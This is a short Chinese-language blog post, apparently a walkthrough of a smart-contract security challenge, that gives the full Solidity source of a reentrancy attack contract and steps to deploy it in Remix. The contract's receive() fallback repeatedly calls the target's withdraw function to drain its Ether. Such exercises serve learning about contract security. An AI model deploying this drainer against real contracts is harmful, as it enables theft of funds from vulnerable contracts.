# 测试10

By [hujiawei](https://paragraph.com/@hujiawei) · 2022-04-17

---

1.平台建立新文件[remix.ethereum.org](http://remix.ethereum.org)，命名为Eth10\_attack.sol ,导入以下代码：

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    interface IReentrance {
        function donate(address _to) external payable;
        function withdraw(uint _amount) external;
    }
    
    contract ReentranceAttack {
        address public owner;
        IReentrance targetContract;
        uint targetValue = 1000000000000000;
    
        constructor(address _targetAddr) public {
            targetContract = IReentrance(_targetAddr);
            owner = msg.sender;
        }
    
        function balance() public view returns (uint) {
            return address(this).balance;
        }
    
        function donateAndWithdraw() public payable {
            require(msg.value >= targetValue);
            targetContract.donate.value(msg.value)(address(this));
            targetContract.withdraw(msg.value);
        }
    
        function withdrawAll() public returns (bool) {
            require(msg.sender == owner, "my money!!");
            uint totalBalance = address(this).balance;
            (bool sent, ) = msg.sender.call.value(totalBalance)("");
            require(sent, "Failed to send Ether");
            return sent;
        }
    
        receive() external payable {
            uint targetBalance = address(targetContract).balance;
            if (targetBalance >= targetValue) {
              targetContract.withdraw(targetValue);
            }
        }
    }
    

部署的地址为谷歌给浏览器开发者提供的地址。然后部署.

部署后发送以太坊：

![](https://storage.googleapis.com/papyrus_images/39ccd2688fb7e1d762546dee91e9ca9c5f35dec5529a41e6bd396711c5dd3078.png)

点击“donate”查看数量为零。提交。

---

*Originally published on [hujiawei](https://paragraph.com/@hujiawei/10)*
